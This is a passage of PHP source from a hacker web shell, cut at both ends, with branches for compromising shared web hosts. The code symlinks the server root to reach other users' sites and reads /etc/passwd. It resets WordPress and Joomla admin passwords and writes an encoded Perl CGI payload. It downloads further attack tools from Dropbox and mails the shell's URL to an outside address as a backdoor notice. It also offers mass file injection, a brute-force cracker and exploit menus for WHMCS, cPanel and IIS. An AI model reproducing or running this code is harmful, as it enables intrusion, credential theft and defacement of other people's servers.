- if($nonwindowsprocess=="Interrupts")
- $winruncom="cat /proc/interrupts";
- if($nonwindowsprocess=="lsattr")
- $winruncom="lsattr -va";
- if($nonwindowsprocess=="Uptime")
- $winruncom="uptime";
- if($nonwindowsprocess=="Fstab")
- $winruncom="cat /etc/fstab";
- if($nonwindowsprocess=="HDD Space")
- $winruncom="df -h";
- if(isset($winruncom)) {
- echo "<table class='cmdbox'><tbody><tr><td colspan='2'><textarea class='output' name='content' onclick=\"this.focus(); this.select();\">" . exe($winruncom)."</textarea></td></tr></table></center>";
- }
- if(isset($systeminfo)) {
- echo "<br><br>";
- dmprocess();
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmsym1')){
- if($win) {
- echo "<center><br/><br/><span class='b9'>Symlink Is Not Available In Windows Server</span><br/><br/></center>";
- }
- if(!is_dir('hacked')){
- mkdir('hacked',0777);
- }
- chdir('hacked');
- mkdir('dm1sym', 0777);
- chdir('dm1sym');
- $sempak="Options all\nDirectoryIndex dm.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nSatisfy Any";
- simpan('.htaccess',$sempak);
- symlink('/','dm_root');
- if(is_readable("/var/named")) {
- echo '<center><br/><br/><b><span class="b7">O=:[ SYMLINK VAR/NAMED ]:=O</span></b><br/><br/></center>
- <table align="center" border="1" width="400" cellspacing="1" cellpadding="4" style="border-collapse: collapse">
- <td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
- <td align="center"> <font color="white"> <b>_USERS_</b></td>
- <td align="center"> <font color="white"> <b>_SYMLINK_</b></center></td>';
- $list=scandir('/var/named');
- foreach($list as $domain){
- if(strpos($domain,'.db')){
- $domain=str_replace('.db','',$domain);
- $owner=posix_getpwuid(fileowner('/etc/valiases/'.$domain));
- echo "<tr>
- <td><a class='dm' href='http://".$domain." '>".$domain."</a></td>
- <td align='center'><font color='white'>".$owner['name']."</td>
- <td align='center'><a href='hacked/dm1sym/dm_root".$owner['dir']."/public_html/' target='_blank'>Symlink</a></td>";
- }
- }
- flush();
- flush();
- echo"</tr></table>";
- }else{
- echo '<center><br/><br/><b><span class="b7">O=:[ SYMLINK VAR/NAMED ]:=O</span></b><br/><br/> /var/named Not Readable</center>';
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmsym2')){
- if($win) {
- echo "<center><br/><br/><span class='b9'>Symlink Is Not Available In Windows Server</span><br/><br/></center>";
- }
- if(!is_dir('hacked')){
- mkdir('hacked',0777);
- }
- chdir('hacked');
- mkdir('dm2sym', 0777);
- chdir('dm2sym');
- $sempak="Options all\nDirectoryIndex dm.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nSatisfy Any";
- simpan('.htaccess',$sempak);
- symlink('/','dm_root');
- if(is_readable('/etc/passwd')) {
- $isikarung=file_get_contents('/etc/passwd');
- simpan('maho.txt',$isikarung);
- }
- if(isset($_GET['file'])or filesize('maho.txt')>0) {
- $cont=stripcslashes($_POST['file']);
- if(!file_exists('maho.txt')) {
- $f=fopen('maho.txt','w');
- $w=fwrite($f,$cont);
- fclose($f);
- }
- if($w or filesize('maho.txt')>0) {
- echo "<center><br/><br/><b><span class='b7'>O=:[ SYMLINK ETC/PASSWD- ]:=O</span></b><br/><br/>
- <table align='center' border='1' cellspacing='1' cellpadding='4' style='border-collapse: collapse'>
- <td align='center'> <font color='white'> <b>_USERS_</b></td>
- <td align='center'> <font color='white'> <b>_SYMLINK_</b></td>";
- flush();
- $fil3=file('maho.txt');
- foreach($fil3 as $f) {
- $u=explode(':',$f);
- $user=$u['0'];
- echo "<tr>
- <td align='center'><font color='white'>$user</td>
- <td align='center'><a class='dm' href='hacked/dm2sym/dm_root/home/$user/public_html' target='_blank'>Symlink</a></td></tr>";
- flush();
- flush();
- }
- echo "</tr></table>";
- }else{
- echo '<center><br/><br/><b><span class="b7">O=:[ SYMLINK /ETC/PASSWD ]:=O</span></b><br/><br/> /etc/passwd Not Readable</center>';
- }
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmsym3')){
- if($win) {
- echo "<center><br/><br/><span class='b9'>Symlink Is Not Available In Windows Server</span><br/><br/></center>";
- }
- if(!is_dir('hacked')){
- mkdir('hacked',0777);
- }
- chdir('hacked');
- mkdir('dm3sym', 0777);
- chdir('dm3sym');
- $sempak="Options all\nDirectoryIndex dm.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nSatisfy Any";
- simpan('.htaccess',$sempak);
- symlink('/','dm_root');
- if(is_readable("/etc/passwd")) {
- echo'<center><br/><br/><b><span class="b7">O=:[ SYMLINK ETC/PASSWD ]:=O</span></b><br/><br/> <table align="center" border="1" width="400" cellspacing="1" cellpadding="4" style="border-collapse: collapse">';
- if(scandir('/var/named')){
- echo'<tr><th align="center"> <font color="white"> <b>_DOMAINS_</b></th>
- <th align="center"> <font color="white"> <b>_USERS_</b></th>
- <th align="center"> <font color="white"> <b>_SYMLINK_</b></th>';
- $etcz=explode("\n",file_get_contents('/etc/passwd'));
- $list=scandir('/var/named');
- foreach($etcz as $etz) {
- $etcc=explode(':',$etz);
- foreach($list as $domain) {
- if(strpos($domain, '.db')) {
- $domain=str_replace('.db','',$domain);
- $owner=posix_getpwuid(fileowner("/etc/valiases/".$domain));
- if($owner['name']==$etcc[0]) {
- echo "<tr>
- <td><a class='dm' href='http://".$domain." '>".$domain."</a></td>
- <td align='center'><font color='white'>".$owner['name']."</font></td>
- <td align='center'><a href='hacked/dm3sym/dm_root".$owner['dir']."/public_html/' target='_blank'>Symlink</a></td>";
- }
- }
- }
- }
- }else{
- echo '<center><br/><br/><b><span class="b7">O=:[ SYMLINK /VAR/NAMED ]:=O</span></b><br/><br/> /var/named Not Readable</center>';
- }
- flush();
- flush();
- }else{
- echo '<center><br/><br/><b><span class="b7">O=:[ SYMLINK /ETC/PASSWD ]:=O</span></b><br/><br/> /etc/passwd Not Readable</center>';
- }
- echo "</tr></table>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmsym4')){
- if($win) {
- echo "<center><br/><br/><span class='b9'>Symlink Is Not Available In Windows Server</span><br/><br/></center>";
- }
- if(!is_dir('hacked')){
- mkdir('hacked',0777);
- }
- chdir('hacked');
- mkdir('dm4sym', 0777);
- chdir('dm4sym');
- $sempak="Options all\nDirectoryIndex dm.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nSatisfy Any";
- simpan('.htaccess',$sempak);
- symlink('/','dm.txt');
- if(is_readable("/etc/named.conf")){
- echo'<center><br/><br/><b><span class="b7">O=:[ SYMLINK ETC/NAMED.CONF ]:=O</span></b><br/><br/> <table align="center" border="1" width="400" cellspacing="1" cellpadding="4" style="border-collapse: collapse">';
- echo'<tr>
- <td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
- <td align="center"> <font color="white"> <b>_USERS_</b></td>
- <td align="center"> <font color="white"> <b>_SYMLINK_</b></td>';
- $named=file_get_contents("/etc/named.conf");
- preg_match_all('%zone \"(.*)\" {%',$named,$domains);
- foreach($domains[1] as $domain) {
- $domain=trim($domain);
- $owner=posix_getpwuid(fileowner('/etc/valiases/'. $domain));
- echo "<tr>
- <td><a class='dm' href='http://".$domain." '>".$domain."</a></td>
- <td align='center'><font color='white'>".$owner['name']."</font></td>
- <td align='center'><a href='hacked/dm4sym/dm.txt".$owner['dir']."/public_html' target='_blank'>Symlink</a></td>";
- }
- flush();
- flush();
- }
- echo "</tr></table>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmsym5')){
- if($win) {
- echo "<center><br/><br/><span class='b9'>Symlink Is Not Available In Windows Server</span><br/><br/></center>";
- }
- if(!is_dir('hacked')){
- mkdir('hacked',0777);
- }
- chdir('hacked');
- mkdir('dm5sym', 0777);
- chdir('dm5sym');
- $sempak="Options all\nDirectoryIndex dm.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nSatisfy Any";
- simpan('.htaccess',$sempak);
- symlink('/','dm.txt');
- $read_named_conf=@file('/etc/named.conf');
- if(!$read_named_conf) {
- echo "<center><br/><br/><span class='b9'>Can't Read File etc/named.conf :(</span><br/><br/>";
- }else{
- echo "<center><br/><br/><b><span class='b7'>O=:[ SYMLINK ETC/NAMED.CONF II ]:=O</span></b><br/><br/>
- <table border='1' width='400' cellpadding='1' cellspacing='4' style='border-collapse: collapse'>
- <td align='center'> <font color='white'> <b>_DOMAINS_</b></td>
- <td align='center'> <font color='white'> <b>_USERS_</b></td>
- <td align='center'> <font color='white'> <b>_SYMLINK_</b></td>";
- foreach($read_named_conf as $subject) {
- if(preg_match('/zone/',$subject)) {
- preg_match_all('#zone"(.*)"#',$subject,$string);
- flush();
- if(strlen(trim($string[1][0]))>2) {
- $UID=posix_getpwuid(fileowner('/etc/valiases/'.$string[1][0]));
- $name=$UID['name'];
- symlink('/','dm5sym/dm.txt');
- $name=$string[1][0];
- $australia='\.au';
- $bangladesh='\.bd';
- $brazil='\.br';
- $malaysia='\.my';
- $myanmar='\.mm';
- $indonesia='\.id';
- $israel='\.il';
- $romania='\.ro';
- $edu='\.edu';
- $gov='\.gov';
- $go='\.go';
- $gob='\.gob';
- $mil='\.mil';
- if(preg_match("$australia",$string[1][0])or preg_match("$bangladesh",$string[1][0])or preg_match("$brazil",$string[1][0])or preg_match("$malaysia",$string[1][0])or preg_match("$myanmar",$string[1][0])or preg_match("$indonesia",$string[1][0])or preg_match("$israel",$string[1][0])or preg_match("$romania",$string[1][0])or preg_match("$edu",$string[1][0])or preg_match("$gov",$string[1][0])or preg_match("$go",$string[1][0])or preg_match("$gob",$string[1][0])or preg_match("$mil",$string[1][0])or preg_match("$mil2",$string[1][0])) {
- $name="<div style=' color:yellow ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
- }
- echo "<tr>
- <td><a class='dm' target='_blank' href=http://".$string[1][0].'/>'.$name.' </a></center></div></td>
- <td align=center><font color=white>'.$UID['name']."</td>
- <td align=center><a href='hacked/dm5sym/dm.txt/home/".$UID['name']."/public_html/' target='_blank'>Symlink </a></td></tr>";
- flush();
- }
- }
- }
- }
- flush();
- flush();
- echo "</tr></table></div>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmsym6')){
- if($win) {
- echo "<center><br/><br/><span class='b9'>Symlink Is Not Available In Windows Server</span><br/><br/></center>";
- }
- if(!is_dir('hacked')){
- mkdir('hacked',0777);
- }
- chdir('hacked');
- mkdir('dm6sym', 0777);
- chdir('dm6sym');
- $sempak="Options all\nDirectoryIndex dm.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nSatisfy Any";
- simpan('.htaccess',$sempak);
- symlink('/','dm.txt');
- if(is_readable("/etc/valiases")) {
- echo '<center><br/><br/><b><span class="b7">O=:[ SYMLINK ETC/VALIASES ]:=O</span></b><br/><br/>
- <table align="center" border="1" width="300" cellspacing="1" cellpadding="4" style="border-collapse: collapse">';
- echo '<tr>
- <td align="center"><font color="white"> <b>_DOMAINS_</b></td>
- <td align="center"><font color="white"> <b>_USERS_</b></td>
- <td align="center"><font color="white"> <b>SYMLINK</b></td>';
- $list=scandir("/etc/valiases");
- foreach($list as $domain) {
- $owner=posix_getpwuid(fileowner("/etc/valiases/".$domain));
- echo "<tr>
- <td><a class='dm' href='http://".$domain." '>".$domain."</a></td>
- <td align='center'><font color='white'>".$owner['name']."</font></td>
- <td align='center'><a href='hacked/dm6sym/dm.txt".$owner['dir']."/public_html' target='_blank'>Symlink</a></td>";
- }
- flush();
- flush();
- }
- echo "</tr></table></div>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='wp3')){
- echo "<center><br/><br/><b><span class='b7'>O=:[ WORDPRESS PASS CHANGER ]:=O</span></b><br/><br/> ";
- if(empty($_POST['pwd'])){
- echo "<FORM method='POST'>
- <table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td> Host</td><td>
- <input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
- <input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td> username</td><td>
- <input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td> password</td><td>
- <input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
- <tr><td> User baru</td><td>
- <input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
- <tr><td> Pass Baru</td><td>
- <input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />
- <input style='width:19%;' class='inputzbut' type='submit' value='>>' name='send' /></FORM>
- </td></tr> </table><br><br><br><br>";
- }else{
- $localhost=$_POST['localhost'];
- $database=$_POST['database'];
- $username=$_POST['username'];
- $password=$_POST['password'];
- $pwd=$_POST['pwd'];
- $admin=$_POST['admin'];
- @mysql_connect($localhost,$username,$password) or die(mysql_error());
- @mysql_select_db($database) or die(mysql_error());
- $hash=crypt($pwd);
- $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
- $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
- $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
- $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
- $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
- $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
- $a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
- if($a4s){
- echo "<br><br><b><span class='b11'> Password Change Successfully</span></b><br/>";
- }
- }
- echo "</div>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='jm4')){
- echo "<center><br/><br/><b><span class='b7'>O=:[ JOOMLA PASS CHANGER ]:=O</span></b><br/><br/> ";
- if(empty($_POST['pwd'])){
- echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td> Host</td><td>
- <input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr>
- <tr><td> Database</td><td>
- <input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr>
- <tr><td> username</td><td>
- <input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr>
- <tr><td> password</td><td>
- <input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
- <tr><td> New User</td><td>
- <input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
- <tr><td> New Pass </td>
- <td>123456 = <input style='width:160px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' /> </td></tr>
- <tr><td><input style='width:130%;' class='inputzbut' type='submit' value='>>' name='send' /></FORM>
- </td></tr></table><br>";
- }else{
- $localhost=$_POST['localhost'];
- $database=$_POST['database'];
- $username=$_POST['username'];
- $password=$_POST['password'];
- $pwd=$_POST['pwd'];
- $admin=$_POST['admin'];
- @mysql_connect($localhost,$username,$password) or die(mysql_error());
- @mysql_select_db($database) or die(mysql_error());
- $hash=crypt($pwd);
- $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
- $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
- $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
- $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
- $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
- $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
- $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
- $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
- if($SQL){
- echo "<br><br><b><span class='b11'> Password Change Successfully</span></b><br/>";
- }
- }
- echo "</div>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='cgi2012')){
- echo "<center><br/><br/><b><span class='b7'>O=:[ CGI TELNET</span> <span class='b8'> 2012 ]:=O</span></b><br />";
- if(!is_dir('telnet')){
- mkdir('telnet',0777);
- chdir('telnet');
- }
- simpan('.htaccess','AddHandler cgi-script .cok .pl .cgi');
- $etcpl=base64_decode('IyEvdXNyL2Jpbi9wZXJsCiMKIyAgIENnaSBFbmNvZGVyIEJ5IEVkZGllIEtpZGl3CiMgICBDZ2kg
- RW5jb2RlciBWIDEuMC4wIGJldGEKIyAgIElwOiAzNi43MS4xNTcuNAojICAgSG9zdCBOYW1lOiAK
- IyAgIENpdHk6IEpha2FydGEKIyAgIENvdW50cnk6IElECiMgICBSZWdpb246IEpha2FydGEKIyAg
- IElzcDogQVMxNzk3NCBQVCBUZWxla29tdW5pa2FzaSBJbmRvbmVzaWEKIyAgIFlvdXIgQnJvd3Nl
- cjogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBydjo1NS4wKSBHZWNrby8yMDEwMDEwMSBG
- aXJlZm94LzU1LjAKIyAgIERhdGU6IFNlbmluIDI1LVNlcHRlbWJlci0yMDE3IDE3OjQxOjMwCiMK
- dXNlCk1JTUU6OkJhc2U2NDsKZXZhbChkZWNvZGVfYmFzZTY0KCdJeUV2ZFhOeUwySnBiaTl3WlhK
- c0lDMVhDaVJoUFNJdlpYUmpMM0JoYzNOM1pDSTdDaVJrUFNJdlpYUmpMM0JoYzNOM1pDMGlPd29r
- CllqMGlaWFJqTFhCaGMzTjNaQzUwZUhRaU93b2taVDBpWlhSakxYQmhjM04zWkMwdWRIaDBJanNL
- Y0hKcGJuUWlRMjl1ZEdWdWRDMTAKZVhCbE9pQjBaWGgwTDJoMGJXeGNibHh1SWpzS0pHTTljM2x0
- YkdsdWF5Z2tZU3drWWlrN0NpUm1QWE41Yld4cGJtc29KR1FzSkdVcApPd3BwWmlna1l6MDlNU2w3
- Q25CeWFXNTBJQ1JpTGljZ2MzbHRiR2x1YXlCRGNtVmhkR1ZrSUZOMVkyTmxjM05tZFd4c2VTQXVJ
- QzRnCkxpQThZbkkrUEdFZ2FISmxaajBpWlhSakxYQmhjM04zWkM1MGVIUWlQbVYwWXlCd1lYTnpk
- MlE4TDJFK0p6c0tmV1ZzYzJWN0NuQnkKYVc1MElDZERZVzV1YjNRZ1UzbHRiR2x1YXlBbkxpUmhM
- aWNnYjNJZ1JtbHNaU0FuTGlSaUxpY2dRV3h5WldGa2VTQkZlR2x6ZEhNZwpMaUF1SUM0bk95QUtm
- UT09JykpOw==');
- simpan('etc.pl',$etcpl);
- chmod('etc.pl',0755);
- $file=toolurl('http://dl.dropbox.com/s/6nyqs5mpj798q2h/telnet.txt');
- simpan('telnet.cok',$file);
- chmod("telnet.cok",0755);
- echo "<center><span class='b7'>Generate file telnet.cok succesfully</span><br/></center>";
- echo "<iframe src='telnet/telnet.cok' width=96% height=76% frameborder=0></iframe></div>";
- echo "<br/><br /><center><b><span class='b11'> You Can Go To:<a href='telnet/telnet.cok' target='_blank'>[+] HERE [+]</a></center></span></br>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='mysql2')){
- echo "<center><br/><br/><b><span class='b7'>O=:[ MYSQL MANAGER ]:=O</span></b><br/><br/> ";
- echo "</br></br><center><b><span class='b11'> You Can Go To:<a href='angel/db.php' target='_blank'>[+] HERE [+]</a></center></span></br>";
- if(!is_dir('angel')){
- mkdir('angel',0777);
- chdir('angel');
- }
- $file=toolurl('http://dl.dropbox.com/s/14vmtzh23d1e2p3/mysql.txt');
- simpan('db.php',$file);
- chmod("db.php",0755);
- echo "<center><span class='b7'>Generate file db.php succesfully</span><br/></center>";
- }elseif(isset($_GET['x'])&&($_GET['x']=='ckperl')){
- echo "<center><br/><br/><b><span class='b7'>O=:[ PERL CONFIG KILLER ]:=O</span></b><br/><br/> ";
- echo "</br></br><center><b><span class='b11'> You Can Go To:<a href='ckperl/anu.pl' target='_blank'>[+] HERE [+]</a></center></span></br>";
- if(!is_dir('ckperl')){mkdir('ckperl',0777);chdir('ckperl');}
- $file=toolurl('http://dl.dropbox.com/s/epcf4o8tral5huw/config.txt');
- simpan('anu.pl',$file);
- chmod("anu.pl",0755);
- $c="Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nAddHandler cgi-script .pl\nSatisfy Any";
- simpan('.htaccess',$c);
- echo "<center><span class='b7'>Generate file anu.pl succesfully</span><br/></center><br />";
- echo "<br /><center><iframe src='ckperl/anu.pl' width=96% height=126% frameborder=0></iframe><br />";
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmwp')){
- echo '<center><br/><br/><img src="https://s.w.org/style/images/wp-header-logo.png"><br/><br/> <b><span class="b7">O=:[ WORDPRESS HACK TOOLS ]:=O</span></b><br/><br/>
- <div id="menu" align="center"><table><tr>
- <td align=center><b><a href="?dm='.$pwd.'&x=wp1">WP BRUTEFORCE</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=wp2">WP AUTO DEFACE</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=wp3">WP PASSWORD CHANGER</a></b></td>
- </tr></table></div><br/>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmvb')){
- echo '<center><br/><br/>
- <img src="http://forum.paradoxplaza.com/forum/images/mobile/vbulletin-logo.png"><br/><br/><b><span class="b7">O=:[ VBULLETIN HACK TOOLS ]:=O</span></b><br/><br/>
- <div id="menu" align="center"><table><tr>
- <td align=center><b><a href="?dm='.$pwd.'&x=vb1">VB INDEX CHANGER</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=vb2">VB PASSWORD CHANGER</a></b></td>
- </tr></table></div><br/>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmjm')){
- echo '<center><br/><br/><img src="https://cdn.joomla.org/images/site_header.png"><br/><br/> <b><span class="b7">O=:[ JOOMLA HACK TOOLS ]:=O</span></b><br/><br/>
- <div id="menu" align="center"><table><tr>
- <td align=center><b><a href="?dm='.$pwd.'&x=jm1">BRUTEFORCE LOGIN</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=jm2">INDEX DEFACE</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=jm3">JCE UPLOADER</a>
- </b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=jm4">PASSWORD CHANGER</a></b></td>
- </tr></table></div><br/>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='whmcs2')){
- echo '<center><br/><br/><img src="http://www.whmcs.com/images/logo_whmcs.png"><br/>
- <br/><b><span class="b7">O=:[ WHMCS HACK TOOLS ]:=O</span></b><br/><br/>
- <div id="menu" align="center"><table><tr>
- <td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs1">GRAB PASSWORD CLIENT</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs2">INJECT SHELL</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs3">PASSWORD CHANGER</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs4">BYPASS AUTH LOGIN</a></b></td>
- </tr></table></div>
- <div id="menu" align="center"><table><tr>
- <td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs5">WHMCS 5.2.7 [php]</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs6">WHMCS 5.2.7 [python]</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs7">WHMCS 5.2.8 [php]</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs8">WHMCS 5.2.8 [python]</a></b></td>
- </tr></table></div>
- <div id="menu" align="center"><table><tr>
- <td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs9">CHECK LICENSE & VERSION</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs10">v5.2.7 VULN SCANNER</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=dmwhmcs11">SCAN CMS WHMCS</a></b></td>
- </table></div>
- <div id="menu" align="center"><table><tr>
- <td align=center><b><a href="?dm='.$pwd.'&x=whmcs1">WHMCS DECODER MYSQL</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=whmcsphp7">WHMCS DECODER MYSQLI</a></b></td>
- </table></div><br/>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='cpanel')){
- echo '<center><br/><br/><img src="http://earthnexus.com/images/cpanel_logo.gif"><br/><br/> <b><span class="b7">O=:[ CPANEL HACK TOOLS ]:=O</span></b><br/><br/>
- <div id="menu" align="center"><table><tr>
- <td align=center><b><a href="?dm='.$pwd.'&x=cp1">BRUTEFORCE CP LOGIN</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=cp2">BRUTEFORCE CP AUTO DEFACE</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=cp3">BRUTEFORCE CONFIG CP </a></b></td>
- </tr></table></div><br/>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='iis7')){
- echo '<center><br/><br/><img src="http://www.codeblog.co.uk/wp-content/uploads/2010/06/iis7-300x215.jpg"><br/><br/> <b><span class="b7">O=:[ WINDOWS IIS7.5 HACK TOOLS ]:=O</span></b><br/><br/>
- <div id="menu" align="center"><table><tr>
- <td align=center><b><a href="?dm='.$pwd.'&x=iis7httpd">HTTPD EXPLOIT</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=iis7port">PORT EXPLOIT</a></b></td>
- </tr></table></div><br/>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='posisi')){
- $toe='Eddie Kidiw <eddiekidiw@gmail.com>';
- $votremail=$_SERVER['SERVER_ADMIN'];
- $objet='BACKDOOR SHELL';
- $headers="From: Cyduk Cok <".$votremail.">\r\n"."Reply-To: Fake Email <".$votremail.">\r\n".'Subject:'.$objet."\r\n".'Content-type:text/plain;charset=iso-8859-1'."\r\n".'Sent:'.date('l, F d, Y H:i');
- if(mail($toe,$objet,curPageURL(),$headers)){
- //header('Location: http://'.$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']);
- echo'<meta http-equiv="refresh" content="0; url='.lokasi.'" />';
- }else{
- echo "<br><center><font size=4 color=red>Error Saving Backdoor</font><center>";
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='inject')){
- echo'<form action="?dm='.$pwd.'&x=inject" method="post">
- <input type="hidden" name="injector"/>
- <center><table id="margins" >
- <tr><td width="30" class="title">
- DIR: <input class="inputz" name="pathtomass" value="'.$pwd.'"/></td></tr>
- <tr><td class="title">
- Mode:<select class="inputz" name="mode" style="width:130px;">
- <option value="Apender">SEMI INJECT</option>
- <option value="Overwriter">FULL Inject</option>
- </select></td></tr>
- <tr><td class="title">
- File Type:<input type="text" class="inputz" name="filetype" value=".php" onBlur="if(this.value==\'\')this.value=\'.php\';"/></td></tr>
- <tr><td colspan="2">
- <textarea name="injectthis" class="inputz">
- '.base64_decode("PGh0bWw+DQo8aGVhZD48dGl0bGU+Li9INENLM0QgQlkgRzRudDNuRzNyejwvdGl0bGU+PC9oZWFkPg0KPGJvZHk+DQpURVJJTUEgS0FTSUggR1VFIEdBTlRFTkcgOnYNCjwvYm9keT4NCjwvaHRtbD4=").'
- </textarea></td></tr>
- <tr><td rowspan="2">
- <input type="submit" class="inputz" value=" INJECT CODE :P "/></td></tr>
- </form></table></center>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='bruteforce')){
- $f=@fopen('users.txt','w');
- if(!$users=get_users()) {
- echo "<center><font face=tahoma size=-2 color=red>".$lang[$language.'_text96']."</font></center>";
- }else{
- foreach($users as $user) {
- @fwrite($f,$user);
- @fwrite($f, "\n");
- }
- }
- echo '<br><center><font size=3 color=green>[+] BUKA users.txt <a href=dmshell.txt target=blank>_DISINI_</a> COPY & PASTE DI KOLOM USER [+]</font></center><BR>
- <form method="POST" target="_self">
- <input name="page" type="hidden" value="find">
- <table width="33%" cellpadding="3" cellspacing="1" align="center">
- <tr><td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
- <strong>User :</strong></td>
- <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea class="inputz" cols="40" rows="10" name="usernames"></textarea></strong></td></tr>
- <tr><td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
- <strong>Pass :</strong></td>
- <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea class="inputz" cols="40" rows="10" name="passwords"></textarea></strong></td></tr>
- <tr><td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
- <strong>Type :</strong></td>
- <td valign="top" bgcolor="#151515" colspan="5">
- <span class="style2"><strong>Simple:</strong> </span>
- <strong>
- <input class="inputz" type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
- <font class="style2"><strong>/etc/passwd:</strong> </font>
- <strong>
- <input class="inputz" type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
- </strong>
- </span></td></tr>
- <tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>
- <td valign="top" bgcolor="#151515" colspan="5"><strong><input class="inputz" type="submit" value="_START CRACK _"></strong>
- </td><tr></form>';
- if(isset($_POST['usernames'])&&isset($_POST['passwords'])) {
- if($_POST['type']=='passwd') {
